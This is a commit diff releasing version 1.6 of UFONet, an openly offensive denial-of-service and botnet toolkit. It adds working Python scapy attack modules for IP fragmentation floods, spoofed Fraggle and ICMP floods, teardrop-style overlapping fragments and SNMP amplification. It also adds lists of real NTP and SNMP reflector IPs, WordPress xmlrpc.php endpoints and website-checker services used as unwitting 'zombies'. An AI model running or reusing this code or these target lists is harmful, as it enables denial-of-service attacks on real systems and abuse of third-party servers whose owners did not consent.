Quellcode durchsuchen

release v1.6 - M4RAuD3R

psy vor 4 Jahren
Ursprung
Commit
627818d3a1

+ 1 - 1
Makefile

@@ -4,7 +4,7 @@ PYTHON=`which python`
 DESTDIR=/
 DESTDIR=/
 BUILDIR=$(CURDIR)/debian/ufonet
 BUILDIR=$(CURDIR)/debian/ufonet
 PROJECT=ufonet
 PROJECT=ufonet
-VERSION=1.5
+VERSION=1.6
 
 
 all:
 all:
 	@echo "make source - Create source package"
 	@echo "make source - Create source package"

+ 58 - 19
README.md

@@ -2,7 +2,7 @@
 
 
 ----------
 ----------
 
 
- + Project Website:   https://ufonet.03c8.net
+ + Website:   https://ufonet.03c8.net
 
 
 ----------
 ----------
 
 
@@ -22,6 +22,57 @@ and on the Layer3 (Network) abusing the protocol.
 
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-schema.png "UFONet Schema")
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-schema.png "UFONet Schema")
 
 
+   - LOIC: 
+     https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
+
+   - LORIS: 
+     https://en.wikipedia.org/wiki/Slowloris_(software)
+
+   - UFOSYN: 
+     https://en.wikipedia.org/wiki/SYN_flood
+
+   - FRAGGLE: 
+     https://en.wikipedia.org/wiki/Fraggle_attack
+
+   - UFORST: 
+     https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
+
+   - SPRAY: 
+     https://en.wikipedia.org/wiki/DRDOS
+
+   - SMURF: 
+     https://en.wikipedia.org/wiki/Smurf_attack
+
+   - XMAS: 
+     https://en.wikipedia.org/wiki/Christmas_tree_packet
+
+   - DROPER: 
+     https://en.wikipedia.org/wiki/IP_fragmentation_attack
+
+   - SNIPER: 
+     https://www.imperva.com/learn/application-security/snmp-reflection/
+
+   - TACHYON: 
+     https://www.us-cert.gov/ncas/alerts/TA13-088A
+
+   - PINGER: 
+     https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
+
+   - MONLIST: 
+     https://www.us-cert.gov/ncas/alerts/TA14-013A
+
+   - UFOACK: 
+     https://www.f5.com/services/resources/glossary/push-and-ack-flood
+
+   - OVERLAP: 
+     https://cyberhoot.com/cybrary/fragment-overlap-attack/
+
+   - UFOUDP: 
+     https://en.wikipedia.org/wiki/UDP_flood_attack
+
+   - NUKE: 
+     https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
+
 ----------
 ----------
 
 
 #### Installing:
 #### Installing:
@@ -78,33 +129,21 @@ in the [LICENSE](./docs/LICENSE) file.
 
 
 ####  Screenshots (current version!):
 ####  Screenshots (current version!):
 
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-1.png "UFONet Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-1.png "UFONet Shell")
 
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-2.png "UFONet Shell Board")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-2.png "UFONet Shell Board")
 
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-3.png "UFONet GUI Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-3.png "UFONet GUI Shell")
 
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-main_small.png "UFONet GUI Main Panel")
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-main_small.png "UFONet GUI Main Panel")
 
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-botnet_small.png "UFONet GUI Botnet")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-botnet.png "UFONet GUI Botnet")
 
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-stats.png "UFONet GUI General Stats")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-stats.png "UFONet GUI General Stats")
 
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-ranking_small.png "UFONet GUI Ranking")
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-ranking_small.png "UFONet GUI Ranking")
 
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-board_small.png "UFONet GUI Board/Forum")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-grid_small.png "UFONet GUI Crypto Grid Board")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-grid2_small.png "UFONet GUI Grid Stats")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-wargames_small.png "UFONet GUI Wargames")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-streams_small.png "UFONet GUI Streams")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-globalnet_small.png "UFONet GUI GlobalNet")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-attack_small.png "UFONet GUI Attack")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-attack.png "UFONet GUI Attack")
 
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet GeoMap /deploying/")
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet GeoMap /deploying/")
 
 

+ 9 - 0
botnet/aliens.txt

@@ -1 +1,10 @@
 https://gtmetrix.com/analyze.html;$POST;url
 https://gtmetrix.com/analyze.html;$POST;url
+https://isitdown.co.uk/check/;$POST;domainname
+https://www.site24x7.com/check-website-availability.html;$POST;url
+https://nibbler.silktide.com/en_US/report/submit;$POST;url
+https://checkwebsiteonline.com/domain;$POST;url
+https://websitechecker.online/test_url;$POST;url
+https://isitdown.co.uk/check/;$POST;domainname
+https://wheresitup.com/demo/results;$POST;url
+https://sitedown.co/views/ajax;$POST;title
+https://onlinenoffline.com/tool/check-domain/result;$POST;domain_query

Datei-Diff unterdrückt, da er zu groß ist
+ 11561 - 0
botnet/dns.txt


+ 12 - 0
botnet/droids.txt

@@ -1 +1,13 @@
 https://jigsaw.w3.org/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true
 https://jigsaw.w3.org/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true
+https://www.openadmintools.com/en/$TARGET
+http://www.statscrop.com/www/$TARGET
+https://www.whatsmydns.net/#A/$TARGET
+http://sitecheck.sucuri.net/results/$TARGET
+https://www.sslshopper.com/ssl-checker.html#hostname=$TARGET
+http://developers.google.com/speed/pagespeed/insights/?url=$TARGET
+https://gsnedders.html5.org/outliner/process.py?url=$TARGET
+http://www.siteworthtraffic.com/report/$TARGET
+http://www.textise.net/showText.aspx?strURL=$TARGET
+http://www.htmlhelp.com/cgi-bin/validate.cgi?url=$TARGET&warnings=yes&spider=yes
+https://mxtoolbox.com/SuperTool.aspx?action=$TARGET
+https://sitepanic.com/?s=$TARGET

+ 110 - 0
botnet/ntp.txt

@@ -1 +1,111 @@
 185.144.161.170
 185.144.161.170
+91.121.7.182
+81.16.47.5
+194.112.182.172
+129.6.15.29
+129.6.15.30
+129.6.15.27
+129.6.15.26
+132.163.97.1
+132.163.97.2
+132.163.97.3
+132.163.97.4
+132.163.97.6
+132.163.96.1
+132.163.96.2
+132.163.96.3
+132.163.96.4
+132.163.96.6
+132.163.97.7
+128.138.140.44
+128.138.141.172
+128.138.140.50
+194.35.252.7 	
+81.168.77.149
+194.164.127.6
+130.88.203.12
+130.88.200.4
+194.207.34.9
+193.201.200.83
+194.164.127.5
+194.164.127.4
+216.239.35.8
+139.78.97.128 
+137.92.140.80
+128.250.36.2
+138.194.21.154
+130.155.98.1
+130.95.156.206
+104.31.87.35
+103.126.53.123
+129.250.35.251
+146.164.48.5
+142.3.100.2
+52.34.132.170
+146.83.8.202
+200.54.149.24
+195.113.144.201
+131.188.3.220
+131.188.3.221
+131.188.3.222
+131.188.3.223
+130.149.17.21
+130.149.17.8
+192.53.103.108
+192.53.103.104
+129.69.1.153
+138.96.64.10
+145.238.203.14
+138.96.64.10
+140.203.204.77
+193.204.114.232
+193.204.114.233
+200.23.51.102
+193.67.79.202
+193.79.237.14
+129.242.4.241
+129.6.15.28
+150.254.190.51
+193.2.4.2
+118.189.138.5
+194.58.203.20
+194.58.203.148
+194.58.204.20
+194.58.204.148
+128.9.176.30
+208.91.196.74
+193.11.166.8
+193.11.166.20
+194.58.202.20
+194.58.202.148
+192.36.143.150
+192.36.143.151
+162.23.41.10
+195.186.1.100
+104.31.86.35
+193.62.22.98
+199.165.76.11
+204.123.2.5
+164.67.62.194
+149.20.64.28
+209.81.9.7
+192.12.19.20
+204.232.226.192
+208.91.196.74
+132.163.96.1
+132.163.96.2
+132.163.96.3
+132.163.96.4
+128.138.140.44
+192.5.41.209
+192.5.41.40
+128.4.1.1
+128.4.1.2
+128.175.60.175
+128.227.205.3
+130.207.244.240
+140.31.199.22
+96.126.107.76
+173.162.192.156
+192.101.21.1
+146.186.222.14

+ 63 - 0
botnet/rpcs.txt

@@ -1 +1,64 @@
 https://heightsmedia.com/xmlrpc.php
 https://heightsmedia.com/xmlrpc.php
+http://www.ch-orthez.fr/xmlrpc.php
+http://178.62.42.31/xmlrpc.php
+http://131.220.122.225/xmlrpc.php
+http://192.81.222.191/xmlrpc.php
+http://104.236.21.36/xmlrpc.php
+http://128.199.97.120/xmlrpc.php
+http://122.117.66.52/xmlrpc.php
+http://apollomedia.de/xmlrpc.php
+http://www.lifequest-services.com/xmlrpc.php
+http://broketobooked.com/xmlrpc.php
+http://blog.libinpan.com/xmlrpc.php
+http://extensor.no/xmlrpc.php
+http://gotchacovered.bm/xmlrpc.php
+http://missionglobal.com/xmlrpc.php
+http://kompetensnavet.org/xmlrpc.php
+http://195.189.95.152/xmlrpc.php
+http://vatsim-scandinavia.org/xmlrpc.php
+http://www.skidmoreandhall.com/xmlrpc.php
+http://sgcl.ssu.ac.kr/xmlrpc.php
+http://stikespantirapih.ac.id/xmlrpc.php
+https://sifat.org/xmlrpc.php
+http://www.bankingonmainstreet.com/xmlrpc.php
+http://de.alanyatours.net/xmlrpc.php
+http://www.acupeace.com/xmlrpc.php
+http://www.aandd-ps.com/xmlrpc.php
+http://www.egpos.org/xmlrpc.php
+http://www.drivingsales.tv/xmlrpc.php
+http://www.idealvpn.com/xmlrpc.php
+http://www.meteo-agriculture.eu/xmlrpc.php
+http://www.formpac.com/xmlrpc.php
+http://www.mirchimusicawards.com/xmlrpc.php
+http://www.markgoessens.nl/xmlrpc.php
+http://www.openschooldns.com/xmlrpc.php
+http://www.theshawcentre.org.uk/xmlrpc.php
+http://www.fadhilza.com/xmlrpc.php
+http://www.tman.ca/hanas/xmlrpc.php
+http://www.supersupport.com/xmlrpc.php
+http://www.wheresmalta.com/xmlrpc.php
+http://www.unabashedresearch.com/xmlrpc.php
+http://blog.speedbit.com/xmlrpc.php
+http://clothingasconversation.com/xmlrpc.php
+http://preprod.chu-amiens.fr/xmlrpc.php
+http://wp.omni-tech.net/xmlrpc.php
+http://www.bedfactorycontracts.co.uk/xmlrpc.php
+http://www.zs18.wroc.pl/xmlrpc.php
+http://eldermet.ucc.ie/xmlrpc.php
+http://www.litteratureaudio.com/wordpress/xmlrpc.php
+http://digitalequality.net/xmlrpc.php
+http://www.niitsuhome.com/wp/xmlrpc.php
+http://www.fmfracing.com/wordpress/xmlrpc.php
+http://mpillumination.com/xmlrpc.php
+https://www.e-publicrealestate.gr/xmlrpc.php
+http://www.sbc4d.com/xmlrpc.php
+http://www.emotion.lu/xmlrpc.php
+https://mylivegym.gr/xmlrpc.php
+https://contributionliberatoire.com/xmlrpc.php
+https://eurocomment.eu/xmlrpc.php
+https://mett.nl/wp/xmlrpc.php
+https://coco-kikaku.com/wp/xmlrpc.php
+https://www.macbathsanitair.nl/xmlrpc.php
+https://www.stcutrecht.nl/xmlrpc.php
+https://www.fedegari.com/xmlrpc.php
+https://loloholodge.com/xmlrpc.php

+ 10 - 0
botnet/snmp.txt

@@ -0,0 +1,10 @@
+91.209.18.121
+141.0.173.136
+213.251.149.156
+188.166.0.146
+80.151.159.249
+146.247.132.41
+200.183.132.53
+50.78.18.195
+112.213.83.161
+94.176.237.178

+ 9 - 0
botnet/ucavs.txt

@@ -1 +1,10 @@
 https://website-down.com/
 https://website-down.com/
+https://isitup.org/
+https://www.downforeveryoneorjustme.com/
+https://www.isitdownrightnow.com/
+https://check-host.net/ip-info?host=
+https://www.isthissitedown.org/site/
+https://downdetector.com/search/?q=
+https://updowntoday.com/en/sites/
+https://isitdown.co.uk/
+https://www.isthissitedown.org/site/

Datei-Diff unterdrückt, da er zu groß ist
+ 6706 - 0
botnet/zombies.txt


Datei-Diff unterdrückt, da er zu groß ist
+ 510 - 38
core/main.py


+ 86 - 0
core/mods/droper.py

@@ -0,0 +1,86 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet IP FRAGMENTATION flooder (DROPER)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def droperize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_port = randInt() 
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [DROPER] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            TCP_l = TCP()
+            TCP_l.sport = s_zombie_port
+            TCP_l.dport = sport
+            try:
+                payload="A"*254+"B"*2 # 256b = 33frags
+                packet=IP(src=IP_p.src,dst=IP_p.dst,id=12345)/UDP(sport=TCP_l.sport,dport=TCP_l.dport)/payload
+                frags=fragment(packet,fragsize=2) # fragment size
+                for f in frags:
+                    send(f, verbose=0)
+                print("[Info] [AI] [DROPER] Firing 'deuterium bosons' ["+str(n)+"] -> [DROPING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [DROPER] Failed to engage with 'deuterium bosons' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [DROPER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class DROPER(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] 'IP FRAGMENTATION' (DROPER) is ready to fire: [" , rounds, "deuterium bosons ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [DROPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        droperize(ip, sport, rounds) # attack with DROPER using threading

+ 108 - 0
core/mods/fraggle.py

@@ -0,0 +1,108 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+import urllib.parse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet UDP broadcast attack (FRAGGLE)
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def sIP(base_stations): # extract 'base stations'
+    bs = {}
+    s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
+    if not s_zombie in bs:
+        url = urllib.parse.urlparse(s_zombie)
+        try:
+            s_zombie_ip = socket.gethostbyname(url.netloc)
+            bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    s_zombie_ip = str(rd)
+                bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
+            except:
+                s_zombie_ip = s_zombie
+    else:
+        s_zombie_ip = bs.get(s_zombie)
+    return s_zombie_ip
+
+def fraggleize(ip, sport, rounds):
+    f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
+    base_stations = f.readlines()
+    base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
+    f.close()
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_ip = sIP(base_stations)
+            if s_zombie_ip == None: # not any 'base stations' available
+                print("[Error] [AI] [FRAGGLE] Imposible to retrieve 'base stations' -> [Aborting!]\n")
+                break
+            seq = randInt()
+            window = randInt()
+            IP_p = IP()
+            try:
+                IP_p.src = ip # UDP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka FRAGGLE attack)
+            except:
+                print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from target! -> [Aborting!]\n")
+                break
+            try:
+                IP_p.dst = s_zombie_ip
+            except:
+                print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
+                break
+            try:
+                send(IP_p/UDP(), verbose=0)
+                print("[Info] [AI] [FRAGGLE] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [FRAGGLE] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]")
+    except:
+        print("[Error] [AI] [FRAGGLE] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class FRAGGLE(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] UDP Broadcast (FRAGGLE) is redirecting: [" , rounds, "base stations ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [FRAGGLE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        fraggleize(ip, sport, rounds) # attack with FRAGGLE using threading

+ 0 - 0
core/mods/monlist.py


+ 82 - 0
core/mods/overlap.py

@@ -0,0 +1,82 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet IP FRAGMENTATION (by overlapping) flooder (OVERLAP)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def overlapize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_port = randInt() 
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [OVERLAP] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            try:
+                payload="A"*15
+                overlap="B"*9 # overlap size
+                send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x1, frag=0)/payload, verbose=0)
+                send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x0, frag=1)/overlap, verbose=0) # teardrop frag
+                print("[Info] [AI] [OVERLAP] Firing 'deuterium gravitons' ["+str(n)+"] -> [OVERLAPPING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [OVERLAP] Failed to engage with 'deuterium gravitons' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [OVERLAP] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class OVERLAP(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] 'IP OVERLAPPING' (OVERLAPGER) is ready to fire: [" , rounds, "deuterium gravitons ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [OVERLAP] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        overlapize(ip, sport, rounds) # attack with OVERLAP using threading

+ 78 - 0
core/mods/pinger.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet ICMP (echo ping) attack (PINGER)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def pingerize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [PINGER] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            try:
+                send(IP_p/ICMP(), verbose=0)
+                print("[Info] [AI] [PINGER] Firing 'graphene bullets' ["+str(n)+"] -> [SHOOTING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [PINGER] Failed to engage with 'graphene bullets' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [PINGER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class PINGER(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] ICMP (PINGER) is ready to fire: [" , rounds, "graphene bullets ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [PINGER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        pingerize(ip, sport, rounds) # attack with PINGER using threading

+ 0 - 7
core/mods/smurf.py

@@ -58,8 +58,6 @@ def smurfize(ip, sport, rounds):
             if s_zombie_ip == None: # not any 'base stations' available
             if s_zombie_ip == None: # not any 'base stations' available
                 print("[Error] [AI] [SMURF] Imposible to retrieve 'base stations' -> [Aborting!]\n")
                 print("[Error] [AI] [SMURF] Imposible to retrieve 'base stations' -> [Aborting!]\n")
                 break
                 break
-            seq = randInt()
-            window = randInt()
             IP_p = IP()
             IP_p = IP()
             try:
             try:
                 IP_p.src = ip # ICMP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka SMURF attack)
                 IP_p.src = ip # ICMP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka SMURF attack)
@@ -71,11 +69,6 @@ def smurfize(ip, sport, rounds):
             except:
             except:
                 print("[Error] [AI] [SMURF] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
                 print("[Error] [AI] [SMURF] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
                 break
                 break
-            TCP_l = TCP()
-            TCP_l.sport = sport
-            TCP_l.dport = sport
-            TCP_l.seq = seq
-            TCP_l.window = window
             try:
             try:
                 send(IP_p/ICMP(), verbose=0)
                 send(IP_p/ICMP(), verbose=0)
                 print("[Info] [AI] [SMURF] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")
                 print("[Info] [AI] [SMURF] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")

+ 71 - 0
core/mods/sniper.py

@@ -0,0 +1,71 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+snmp_file = "botnet/snmp.txt" # SNMP servers IP list
+
+oid ="1.3.6.1.2.1.1.1" # OID sysDescr 
+
+# UFONet SNMP Amplification (SNIPER) / [Port: UDP/161]
+def sniperize(ip, rounds):
+    n=0
+    try: # (SNMP) Amplification attack uses publically accessible SNMP servers to flood a target with SNMP response traffic
+        with open(snmp_file) as f: # extract SNMP servers from file
+            snmp_d = f.read().splitlines()
+        f.close()
+        p_num=0
+        for x in range (0,int(rounds)):
+            try:
+                n=n+1
+                print("[Info] [AI] [SNIPER] Breaking SNMP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
+                for j in snmp_d:
+                    p_num += 1
+                    packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=161)/SNMP(version="v2c",community="public",PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))
+                    try:
+                        send(packet, verbose=0) # not using sr1 because non-replies are required
+                        print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
+                    except:
+                        print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
+            except:
+                print("[Error] [AI] [SNIPER] Failed breaking SNMP 'parsec' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [SNIPER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class SNIPER(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] SNMP Amplification (SNIPER) is ready to broke: [" , rounds, "parsecs ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [SNIPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        sniperize(ip, rounds) # attack with SNIPER using threading

+ 87 - 0
core/mods/ufoack.py

@@ -0,0 +1,87 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
